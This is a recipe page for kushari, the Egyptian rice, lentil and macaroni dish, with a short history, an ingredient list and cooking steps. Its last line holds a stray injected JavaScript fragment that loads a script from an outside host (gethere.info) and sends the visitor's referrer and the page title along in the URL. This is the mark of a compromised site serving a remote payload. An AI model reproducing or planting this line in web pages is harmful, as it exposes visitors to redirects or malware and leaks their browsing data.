Kushari is a dish that’s often considered to be Egypt’s national dish. Kushari (or koshari, or koshary) can be vegan, or even vegetarian, depending on what you choose to put in the dish. Kushari is a pasta and legume based dish that has rice, lentils, and macaroni pasta, topped with onions, tomato sauce, and, if one chooses, hot chili. If you like a little more meat in your diet, you can mix in shawarma, lamb, or chicken. You can also spoon some cooked chickpeas, or fried onions over the top of the dish before serving.

Though it was originally considered the dish of the poor man, kushari is now sold in many places in Egypt—from sit-down restaurants to roadside stands. Kushari is also a popular dish for home cooks to make. The dish originated in the 19th century, and was composed of the ingredients that were usually found in the workingman’s pantry. Some sources say that the dish originated from India and Italy, although the dish has evolved into the current Egyptian version over the years.

Kushari

1 cup brown lentils
1 cup rice (brown or white)
1 cup uncooked macaroni pasta
1 1/2 large onions (roughly chopped)
2 cloves of garlic (finely chopped)
2 tbs olive oil
2 cups tomato sauce
hot chili (optional)
salt and pepper to taste

Cook lentils in salted water until tender, then strain. Cook the rice according to package directions. Cook macaroni according to package directions, strain, rinse, then strain again.

While the pasta, rice, and lentils are cooking, sauté onions and garlic on medium-high in oil until translucent (about 5-7 minutes). Lower heat to medium-low. Mix in tomato sauce and simmer for 10-15 minutes. Season with salt and pepper to desired taste.

Portion out the pasta, rice and lentil mix, then top with the tomato sauce, and hot chili, or other toppings if desired.

Note: this recipe is easily halved or doubled depending on how much you want to make. Most pastas and grains will double in size once cooked, so consider that before preparing. s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;